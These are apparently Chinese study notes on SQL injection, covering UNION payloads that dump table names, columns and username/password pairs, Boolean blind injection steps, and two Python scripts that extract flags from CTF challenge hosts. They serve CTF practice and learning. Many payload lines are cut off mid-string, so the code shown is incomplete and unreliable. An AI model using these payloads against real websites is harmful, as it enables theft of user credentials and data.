SQL注入-Day17

四、union 联合注入(单引号闭合字符型为例)

4.5 查库

?id=-1' union select 1,(select group_concat(table_name) from information_sch

4.5.1 查某一个库中的表

注意:仅仅是查当前数据库 database() 的表,由于处于当前数据库下,是不能查看其它数据库中数据的。

 4.5.2 查列

?id=-1' union select 1,(select group_concat(column_name) from information_schema

4.5.3 查内容, ~ 连接

?id=-1' union select 1,(select group_concat(concat_ws('~',username,password)

//同时查三列数据的话
?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from u

五、Boolean 盲注 

5.1 手动:结合 Burp 爆破进行

5.1.1 查数据库长度

?id=1' and length(database())=1--+ 
//爆破数字 1

5.1.2 判断库名组成 security

?id=1' and left(database(),1)='a'--+
//爆破字母 a

?id=1' and ascii(substr(database(),1,1))='b'--+
//爆破 ascii 值 b

5.1.3 查表 users

?id=1' and ascii(substr((select table_name from information_schema.tables wh

//同时爆破数字a,和 数字b,其中 b 是 ascii 值

5.1.4 查列 username password

?id=1' and ascii(substr((select column_name from information_schema.tables w
//同时爆破数字a,和 数字b,其中 b 是 ascii 值

5.1.5 查内容

?id=1' and ascii(substr((select username from security.users limit a,1),1,1)
//爆破 ascii 值 b

?id=1' and ascii(substr((select password from security.users limit 0,1),1,1)
//爆破 ascii 值 b

5.2 脚本

5.2.1 直接法(较慢,正确率高)

import requests
url = "http://ba63d0df-d99d-4cba-a692-5027868780b6.challenge.ctf.show:8080/a 
b="{zxcvbnmasdfghjklqwertyuiop-1234567890}_" // 字典库,包含小写字母数字-下划线}{ 
flag = '' 
for i in range (1,50): 
for h in b: 
//payload根据题目环境构造有效payload 
payload = "' or if((mid((select group_concat(f1ag) from ctfshow_flxg
//payload = "' or if((mid((select database()),{},1)='{}'),1,0) -- ".f
//payload = "' or if((mid((select group_concat(column_name) from info
//payload = "' or if((mid((select+group_concat(table_name) from infor
//print(payload)
data = {
"username":payload, //注入点
"password":1
}
s=requests.post(url,data=data) //发送post请求
//print(s.text)
if "\\u5bc6\\u7801\\u9519\\u8bef" in s.text: // 根据不同回显,找到有效的
flag+=h //对于正确情况保留字符串
print('flag is {}'.format(flag))
break
if flag[-1] == "}":// 找到完整的flag
print("flag :"+flag)
break

5.2.2 二分法

import requests 
url = "http://ecaca1c3-ce93-4f20-82b6-ea325d85e6c3.node4.buuoj.cn:81/search. 
i = 0 
flag = '' 
while True: 
i+=1 
header = 32 
tail = 128 
while header<tail:
mid = (header+tail)>>1
data = {
'id':f"1^(ord(substr((select(group_concat(password))from(F1naI1y
}
s=requests.get(url,params=data)
if 'Click' in s.text:
header = mid+1 // sql语句正确的时候
else:
tail = mid // sql语句错误执行
if header!=32:
flag+=chr(header)
print(flag)
else:
break

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值